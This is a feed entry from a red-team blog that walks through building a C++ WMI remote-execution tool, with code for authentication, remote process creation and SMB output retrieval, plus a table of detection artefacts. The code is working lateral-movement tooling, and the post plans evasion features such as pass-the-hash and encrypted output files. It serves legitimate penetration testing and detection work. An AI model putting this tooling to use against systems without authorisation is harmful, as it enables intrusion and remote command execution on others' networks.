<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://iliascyber.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://iliascyber.com/" rel="alternate" type="text/html" /><updated>2026-04-06T15:25:09+00:00</updated><id>https://iliascyber.com/feed.xml</id><title type="html">IliasCyber</title><subtitle>Offensive security research, tooling, and red team notes.</subtitle><author><name>Ilias</name></author><entry><title type="html">Building a WMI Remote Execution Tool in C++</title><link href="https://iliascyber.com/2026/04/06/wmiexec-cpp.html" rel="alternate" type="text/html" title="Building a WMI Remote Execution Tool in C++" /><published>2026-04-06T00:00:00+00:00</published><updated>2026-04-06T00:00:00+00:00</updated><id>https://iliascyber.com/2026/04/06/wmiexec-cpp</id><content type="html" xml:base="https://iliascyber.com/2026/04/06/wmiexec-cpp.html"><![CDATA[<p>Impacket’s <code class="language-plaintext highlighter-rouge">wmiexec.py</code> is a staple on engagements. You get a pseudo-shell over WMI without touching SMB exec or PSExec, and it’s relatively quiet at least on default audit configurations. I wanted to understand it at the API level rather than just using it, so I built a C++ equivalent using native Windows COM. It can also be handy on standard internal pentesting engagements when you have credentials for an admin account and the usual tools are blocked. This post is a walkthrough of how it works.</p>

<p>The tool is on GitHub: <a href="https://github.com/ilkyr/wmiexec">github.com/ilkyr/wmiexec</a>.</p>

<hr />

<h2 id="why-wmi">Why WMI?</h2>

<p>WMI (Windows Management Instrumentation) is Microsoft’s implementation of WBEM, a standard for system management that exposes a queryable interface to almost everything on a Windows machine. Processes, services, registry, hardware, network config. Importantly, <code class="language-plaintext highlighter-rouge">Win32_Process.Create</code> lets you spawn a process on a remote machine if you have admin credentials and WMI connectivity (TCP/135 + ephemeral RPC ports).</p>

<p>From an operator perspective:</p>
<ul>
  <li>No service binary written to disk (unlike PSExec)</li>
  <li>No SMB named pipe for execution (unlike SMBExec)</li>
  <li>Traffic encrypted at the RPC layer with packet privacy</li>
  <li><code class="language-plaintext highlighter-rouge">cmd.exe</code> is the only process spawned (no overly suspicious binary)</li>
</ul>

<p>The trade-off is that you need SMB (445) alongside WMI to retrieve output, since Win32_Process.Create has no stdout, it returns a PID and an error code, nothing else.</p>

<hr />

<h2 id="architecture">Architecture</h2>

<p>The tool is split into focused modules:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>main.cpp            — CLI parsing, COM init, auth, interactive REPL
remote_command.cpp  — Win32_Process.Create invocation over WMI
smb_connection.cpp  — ADMIN$ mount for output retrieval
output_handling.cpp — Read remote file, print, delete
</code></pre></div></div>

<p>The execution loop is straightforward:</p>

<ol>
  <li>Initialise COM with packet-privacy security</li>
  <li>Connect to <code class="language-plaintext highlighter-rouge">\\target\root\cimv2</code> via <code class="language-plaintext highlighter-rouge">IWbemLocator</code></li>
  <li>Set authentication on the proxy (NTLM or Kerberos)</li>
  <li>Mount <code class="language-plaintext highlighter-rouge">\\target\ADMIN$</code> for I/O</li>
  <li>For each command: run it via WMI → wait → read the output file over SMB → delete</li>
</ol>

<hr />

<h2 id="com-initialisation-and-security">COM Initialisation and Security</h2>

<p>Before any WMI call, COM needs to be initialised with a security context. This is the part most examples get wrong or skip.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CoInitializeEx</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">COINIT_MULTITHREADED</span><span class="p">);</span>

<span class="n">CoInitializeSecurity</span><span class="p">(</span>
    <span class="nb">NULL</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span>
    <span class="n">RPC_C_AUTHN_LEVEL_PKT_PRIVACY</span><span class="p">,</span>   <span class="c1">// encrypt all packets</span>
    <span class="n">RPC_C_IMP_LEVEL_IMPERSONATE</span><span class="p">,</span>      <span class="c1">// allow impersonation</span>
    <span class="nb">NULL</span><span class="p">,</span>
    <span class="n">EOAC_DYNAMIC_CLOAKING</span><span class="p">,</span>            <span class="c1">// update creds per RPC call</span>
    <span class="nb">NULL</span>
<span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">RPC_C_AUTHN_LEVEL_PKT_PRIVACY</code> encrypts the entire RPC stream — commands and output are not visible on the wire. <code class="language-plaintext highlighter-rouge">EOAC_DYNAMIC_CLOAKING</code> ensures the proxy picks up updated credentials per call rather than caching the initial token, which matters when you’re switching between COM objects mid-session.</p>

<p><code class="language-plaintext highlighter-rouge">CoInitializeSecurity</code> can only be called once per process, and it must be called before any COM object is created. If you forget it, WMI connections to remote systems either fail or fall back to unauthenticated access.</p>

<hr />

<h2 id="connecting-to-wmi">Connecting to WMI</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">IWbemLocator</span><span class="o">*</span> <span class="n">pLoc</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">CoCreateInstance</span><span class="p">(</span><span class="n">CLSID_WbemLocator</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">CLSCTX_INPROC_SERVER</span><span class="p">,</span>
                 <span class="n">IID_IWbemLocator</span><span class="p">,</span> <span class="p">(</span><span class="n">LPVOID</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">pLoc</span><span class="p">);</span>

<span class="n">IWbemServices</span><span class="o">*</span> <span class="n">pSvc</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">pLoc</span><span class="o">-&gt;</span><span class="n">ConnectServer</span><span class="p">(</span>
    <span class="n">bPath</span><span class="p">,</span>      <span class="c1">// L"\\\\target\\root\\cimv2"</span>
    <span class="n">bUser</span><span class="p">,</span>      <span class="c1">// L"DOMAIN\\user" or NULL for Kerberos</span>
    <span class="n">bPass</span><span class="p">,</span>      <span class="c1">// password or NULL</span>
    <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>
    <span class="n">bAuthority</span><span class="p">,</span> <span class="c1">// L"Kerberos:HOST/target" or NULL</span>
    <span class="nb">NULL</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">pSvc</span>
<span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ConnectServer</code> establishes the WMI session. For password auth, you pass credentials directly. For Kerberos, you leave them NULL and set the authority string — the LSA picks up the cached TGT automatically.</p>

<p>After getting <code class="language-plaintext highlighter-rouge">pSvc</code>, you must call <code class="language-plaintext highlighter-rouge">CoSetProxyBlanket</code> on it to apply your auth context. Without this, the proxy inherits the process security context, which for a remote connection usually means anonymous.</p>

<hr />

<h2 id="authentication">Authentication</h2>

<h3 id="password--ntlm">Password / NTLM</h3>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">COAUTHIDENTITY</span> <span class="n">ident</span><span class="p">{};</span>
<span class="n">ident</span><span class="p">.</span><span class="n">User</span>           <span class="o">=</span> <span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)</span><span class="n">username</span><span class="p">.</span><span class="n">c_str</span><span class="p">();</span>
<span class="n">ident</span><span class="p">.</span><span class="n">UserLength</span>     <span class="o">=</span> <span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">username</span><span class="p">.</span><span class="n">size</span><span class="p">();</span>
<span class="n">ident</span><span class="p">.</span><span class="n">Domain</span>         <span class="o">=</span> <span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)</span><span class="n">domain</span><span class="p">.</span><span class="n">c_str</span><span class="p">();</span>
<span class="n">ident</span><span class="p">.</span><span class="n">DomainLength</span>   <span class="o">=</span> <span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">domain</span><span class="p">.</span><span class="n">size</span><span class="p">();</span>
<span class="n">ident</span><span class="p">.</span><span class="n">Password</span>       <span class="o">=</span> <span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)</span><span class="n">password</span><span class="p">.</span><span class="n">c_str</span><span class="p">();</span>
<span class="n">ident</span><span class="p">.</span><span class="n">PasswordLength</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">password</span><span class="p">.</span><span class="n">size</span><span class="p">();</span>
<span class="n">ident</span><span class="p">.</span><span class="n">Flags</span>          <span class="o">=</span> <span class="n">SEC_WINNT_AUTH_IDENTITY_UNICODE</span><span class="p">;</span>

<span class="n">CoSetProxyBlanket</span><span class="p">(</span>
    <span class="n">pSvc</span><span class="p">,</span>
    <span class="n">RPC_C_AUTHN_WINNT</span><span class="p">,</span>              <span class="c1">// NTLM</span>
    <span class="n">RPC_C_AUTHZ_NONE</span><span class="p">,</span>
    <span class="nb">NULL</span><span class="p">,</span>
    <span class="n">RPC_C_AUTHN_LEVEL_PKT_PRIVACY</span><span class="p">,</span>
    <span class="n">RPC_C_IMP_LEVEL_IMPERSONATE</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">ident</span><span class="p">,</span>
    <span class="n">EOAC_NONE</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">COAUTHIDENTITY</code> struct carries credentials inline and is passed to every proxy blanket call on every COM object in the chain, including <code class="language-plaintext highlighter-rouge">pClass</code>, <code class="language-plaintext highlighter-rouge">pInParamsDef</code>, and <code class="language-plaintext highlighter-rouge">pInParams</code> later on.</p>

<h3 id="kerberos">Kerberos</h3>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Primary: GSS_NEGOTIATE (tries Kerberos first, falls back gracefully)</span>
<span class="n">CoSetProxyBlanket</span><span class="p">(</span>
    <span class="n">pSvc</span><span class="p">,</span>
    <span class="n">RPC_C_AUTHN_GSS_NEGOTIATE</span><span class="p">,</span>
    <span class="n">RPC_C_AUTHZ_NONE</span><span class="p">,</span>
    <span class="n">spn</span><span class="p">,</span>                            <span class="c1">// L"HOST/target.domain.local"</span>
    <span class="n">RPC_C_AUTHN_LEVEL_PKT_PRIVACY</span><span class="p">,</span>
    <span class="n">RPC_C_IMP_LEVEL_IMPERSONATE</span><span class="p">,</span>
    <span class="nb">NULL</span><span class="p">,</span>                           <span class="c1">// no explicit creds — use TGT</span>
    <span class="n">EOAC_DYNAMIC_CLOAKING</span>
<span class="p">);</span>

<span class="c1">// Fallback: hard Kerberos if Negotiate fails</span>
<span class="n">CoSetProxyBlanket</span><span class="p">(</span><span class="n">pSvc</span><span class="p">,</span> <span class="n">RPC_C_AUTHN_GSS_KERBEROS</span><span class="p">,</span> <span class="p">...);</span>
</code></pre></div></div>

<p>No credentials passed. The LSA handles TGT → TGS-REQ for <code class="language-plaintext highlighter-rouge">HOST/&lt;target&gt;</code>. The authority string on <code class="language-plaintext highlighter-rouge">ConnectServer</code> tells WMI which SPN to request a ticket for.</p>

<hr />

<h2 id="remote-command-execution">Remote Command Execution</h2>

<p>This is the core of the tool. The WMI call chain to invoke <code class="language-plaintext highlighter-rouge">Win32_Process.Create</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. Get the class definition</span>
<span class="n">IWbemClassObject</span><span class="o">*</span> <span class="n">pClass</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">pSvc</span><span class="o">-&gt;</span><span class="n">GetObject</span><span class="p">(</span><span class="s">L"Win32_Process"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pClass</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

<span class="c1">// 2. Get the Create method signature</span>
<span class="n">IWbemClassObject</span><span class="o">*</span> <span class="n">pInParamsDef</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">pClass</span><span class="o">-&gt;</span><span class="n">GetMethod</span><span class="p">(</span><span class="s">L"Create"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pInParamsDef</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

<span class="c1">// 3. Spawn a parameter instance</span>
<span class="n">IWbemClassObject</span><span class="o">*</span> <span class="n">pInParams</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">pInParamsDef</span><span class="o">-&gt;</span><span class="n">SpawnInstance</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pInParams</span><span class="p">);</span>

<span class="c1">// 4. Set the CommandLine parameter</span>
<span class="n">std</span><span class="o">::</span><span class="n">wstring</span> <span class="n">cmd</span> <span class="o">=</span> <span class="s">L"cmd.exe /C "</span> <span class="o">+</span> <span class="n">command</span>
                 <span class="o">+</span> <span class="s">L" &gt; C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">Temp</span><span class="se">\\</span><span class="s">output_"</span> <span class="o">+</span> <span class="n">stamp</span> <span class="o">+</span> <span class="s">L".txt 2&gt;&amp;1"</span><span class="p">;</span>
<span class="n">VARIANT</span> <span class="n">varCmd</span><span class="p">;</span>
<span class="n">varCmd</span><span class="p">.</span><span class="n">vt</span>       <span class="o">=</span> <span class="n">VT_BSTR</span><span class="p">;</span>
<span class="n">varCmd</span><span class="p">.</span><span class="n">bstrVal</span>  <span class="o">=</span> <span class="n">SysAllocString</span><span class="p">(</span><span class="n">cmd</span><span class="p">.</span><span class="n">c_str</span><span class="p">());</span>
<span class="n">pInParams</span><span class="o">-&gt;</span><span class="n">Put</span><span class="p">(</span><span class="s">L"CommandLine"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">varCmd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

<span class="c1">// 5. Execute</span>
<span class="n">IWbemClassObject</span><span class="o">*</span> <span class="n">pOutParams</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">pSvc</span><span class="o">-&gt;</span><span class="n">ExecMethod</span><span class="p">(</span><span class="s">L"Win32_Process"</span><span class="p">,</span> <span class="s">L"Create"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span>
                 <span class="n">pInParams</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pOutParams</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

<span class="c1">// 6. Check return code</span>
<span class="n">VARIANT</span> <span class="n">vRet</span><span class="p">;</span>
<span class="n">pOutParams</span><span class="o">-&gt;</span><span class="n">Get</span><span class="p">(</span><span class="s">L"ReturnValue"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">vRet</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="c1">// 0 = success; anything else is a Win32 error</span>
</code></pre></div></div>

<p>A few things worth noting:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">GetObject</code> + <code class="language-plaintext highlighter-rouge">GetMethod</code> + <code class="language-plaintext highlighter-rouge">SpawnInstance</code> is the correct pattern. You can’t just construct a <code class="language-plaintext highlighter-rouge">VARIANT</code> with the method name and fire it. WMI needs the parameter schema from the class definition first.</li>
  <li>Every COM object in this chain (<code class="language-plaintext highlighter-rouge">pClass</code>, <code class="language-plaintext highlighter-rouge">pInParamsDef</code>, <code class="language-plaintext highlighter-rouge">pInParams</code>) gets <code class="language-plaintext highlighter-rouge">CoSetProxyBlanket</code> applied to it with the same auth context. Skip any one of these and you’ll get <code class="language-plaintext highlighter-rouge">WBEM_E_ACCESS_DENIED</code> mid-chain in ways that are painful to debug.</li>
  <li><code class="language-plaintext highlighter-rouge">ExecMethod</code> is synchronous here. The remote process is created, and control returns immediately. It does not wait for the command to finish. That’s why there’s a <code class="language-plaintext highlighter-rouge">Sleep(1000)</code> before reading output, which is crude but works for most commands.</li>
</ul>

<hr />

<h2 id="output-retrieval-via-smb">Output Retrieval via SMB</h2>

<p>Since WMI gives us no stdout, the command is wrapped in <code class="language-plaintext highlighter-rouge">cmd.exe /C ... &gt; file 2&gt;&amp;1</code>. Output goes to <code class="language-plaintext highlighter-rouge">C:\Windows\Temp\output_&lt;timestamp&gt;.txt</code> on the target. We read it back over SMB.</p>

<p>The SMB connection is established with <code class="language-plaintext highlighter-rouge">WNetAddConnection2W</code> against <code class="language-plaintext highlighter-rouge">\\target\ADMIN$</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NETRESOURCE</span> <span class="n">nr</span><span class="p">{};</span>
<span class="n">nr</span><span class="p">.</span><span class="n">dwType</span>      <span class="o">=</span> <span class="n">RESOURCETYPE_DISK</span><span class="p">;</span>
<span class="n">nr</span><span class="p">.</span><span class="n">lpRemoteName</span> <span class="o">=</span> <span class="k">const_cast</span><span class="o">&lt;</span><span class="n">LPWSTR</span><span class="o">&gt;</span><span class="p">(</span><span class="s">L"</span><span class="se">\\\\</span><span class="s">target</span><span class="se">\\</span><span class="s">ADMIN$"</span><span class="p">);</span>

<span class="n">WNetAddConnection2W</span><span class="p">(</span><span class="o">&amp;</span><span class="n">nr</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>

<p>A known annoyance: if there’s an existing session to the same host with different credentials, you get <code class="language-plaintext highlighter-rouge">ERROR_SESSION_CREDENTIAL_CONFLICT</code> (1219). The connection code handles this by calling <code class="language-plaintext highlighter-rouge">WNetCancelConnection2W</code> with <code class="language-plaintext highlighter-rouge">fForce=TRUE</code> before each attempt, and also tries connecting to <code class="language-plaintext highlighter-rouge">IPC$</code> first to establish a named session that ADMIN$ can inherit.</p>

<p>Once mounted, reading the output is just opening a file via its UNC path:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">wstring</span> <span class="n">readPath</span> <span class="o">=</span> <span class="s">L"</span><span class="se">\\\\</span><span class="s">"</span> <span class="o">+</span> <span class="n">target</span> <span class="o">+</span> <span class="s">L"</span><span class="se">\\</span><span class="s">ADMIN$</span><span class="se">\\</span><span class="s">Temp</span><span class="se">\\</span><span class="s">output_"</span> <span class="o">+</span> <span class="n">stamp</span> <span class="o">+</span> <span class="s">L".txt"</span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">wifstream</span> <span class="nf">f</span><span class="p">(</span><span class="n">readPath</span><span class="p">);</span>
</code></pre></div></div>

<p>After reading, <code class="language-plaintext highlighter-rouge">DeleteFileW</code> removes the file. It may fail silently if the target’s SYSTEM account locked it — acceptable for now.</p>

<hr />

<h2 id="filename-collision-avoidance">Filename Collision Avoidance</h2>

<p>Each command gets a unique output filename built from a timestamp and a monotonic counter:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Format: YYYYMMDDHHmmss_N</span>
<span class="k">auto</span> <span class="n">t</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">time</span><span class="p">(</span><span class="nb">nullptr</span><span class="p">);</span>
<span class="n">std</span><span class="o">::</span><span class="n">tm</span> <span class="n">tm</span><span class="p">{};</span> <span class="n">localtime_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tm</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t</span><span class="p">);</span>

<span class="n">std</span><span class="o">::</span><span class="n">wostringstream</span> <span class="n">ws</span><span class="p">;</span>
<span class="n">ws</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">put_time</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tm</span><span class="p">,</span> <span class="s">L"%Y%m%d%H%M%S"</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="s">L"_"</span> <span class="o">&lt;&lt;</span> <span class="n">counter</span><span class="o">++</span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">wstring</span> <span class="n">stamp</span> <span class="o">=</span> <span class="n">ws</span><span class="p">.</span><span class="n">str</span><span class="p">();</span>
</code></pre></div></div>

<p>This avoids collisions if you run commands fast enough to land within the same second, and gives forensic investigators a nice timestamp to work with if they find the files — a trade-off I’ll fix with randomised names in a future version.</p>

<hr />

<h2 id="cleanup">Cleanup</h2>

<p>Before the process exits, credentials are zeroed from memory:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SecureZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">passwordW</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">passwordW</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">));</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">SecureZeroMemory</code> is the correct call here. The compiler won’t optimise it away the way it can with <code class="language-plaintext highlighter-rouge">memset</code>, since it uses a volatile pointer internally.</p>

<p>COM objects are released in reverse order of creation. Releasing a parent before a child leads to bad refcount states and occasional access violations on shutdown — order matters.</p>

<hr />

<h2 id="detection-surface">Detection Surface</h2>

<p>This tool is not magic, and operators should know where it leaves marks:</p>

<table>
  <thead>
    <tr>
      <th>Artefact</th>
      <th>Where</th>
      <th>Mitigations</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Win32_Process.Create</code> execution</td>
      <td>WMI-Activity/Operational event log (5857, 5861)</td>
      <td>Hard to avoid; this is the core mechanism</td>
    </tr>
    <tr>
      <td>ADMIN$ access</td>
      <td>Security event 5140 (network share access)</td>
      <td>Use a different exfil path</td>
    </tr>
    <tr>
      <td>Output file on disk</td>
      <td><code class="language-plaintext highlighter-rouge">C:\Windows\Temp\output_*.txt</code></td>
      <td>Randomise names; encrypt contents</td>
    </tr>
    <tr>
      <td>Logon event</td>
      <td>Security event 4624 (type 3, network logon)</td>
      <td>Expected for any remote admin</td>
    </tr>
    <tr>
      <td>RPC connection to port 135 + ephemeral</td>
      <td>Network logs</td>
      <td>Encrypted, but the connection itself is visible</td>
    </tr>
  </tbody>
</table>

<p>WMI-based execution is detectable with the right logging in place. <code class="language-plaintext highlighter-rouge">Microsoft-Windows-WMI-Activity/Operational</code> logs <code class="language-plaintext highlighter-rouge">Win32_Process.Create</code> calls if <code class="language-plaintext highlighter-rouge">OperationalStatus</code> auditing is enabled. It is not enabled by default, but mature environments often have it. Correlate that with a 4624 type-3 logon from an unusual source and you have a solid detection.</p>

<hr />

<h2 id="whats-next">What’s Next</h2>

<p>A few things I want to add:</p>

<ul>
  <li><strong>Encrypted output files</strong> — write AES-encrypted output on the target, decrypt client-side. Removes plaintext artefacts from disk.</li>
  <li><strong>Random output filenames</strong> — swap the timestamp for a random GUID.</li>
  <li><strong>Upload/download</strong> — file transfer over the existing ADMIN$ mount without spawning a process.</li>
  <li><strong>PTH support</strong> — pass-the-hash via <code class="language-plaintext highlighter-rouge">NtLmSsp</code> flag manipulation.</li>
</ul>

<p>Code is at <a href="https://github.com/ilkyr/wmiexec">github.com/ilkyr/wmiexec</a>. Built and tested on Windows 10/11 and Server 2019/2022.</p>]]></content><author><name>Ilias</name></author><category term="tooling" /><category term="lateral-movement" /><category term="WMI" /><category term="C++" /><category term="red-team" /><summary type="html"><![CDATA[Impacket’s wmiexec.py is a staple on engagements. You get a pseudo-shell over WMI without touching SMB exec or PSExec, and it’s relatively quiet at least on default audit configurations. I wanted to understand it at the API level rather than just using it, so I built a C++ equivalent using native Windows COM. It can also be handy on standard internal pentesting engagements when you have credentials for an admin account and the usual tools are blocked. This post is a walkthrough of how it works.]]></summary></entry></feed>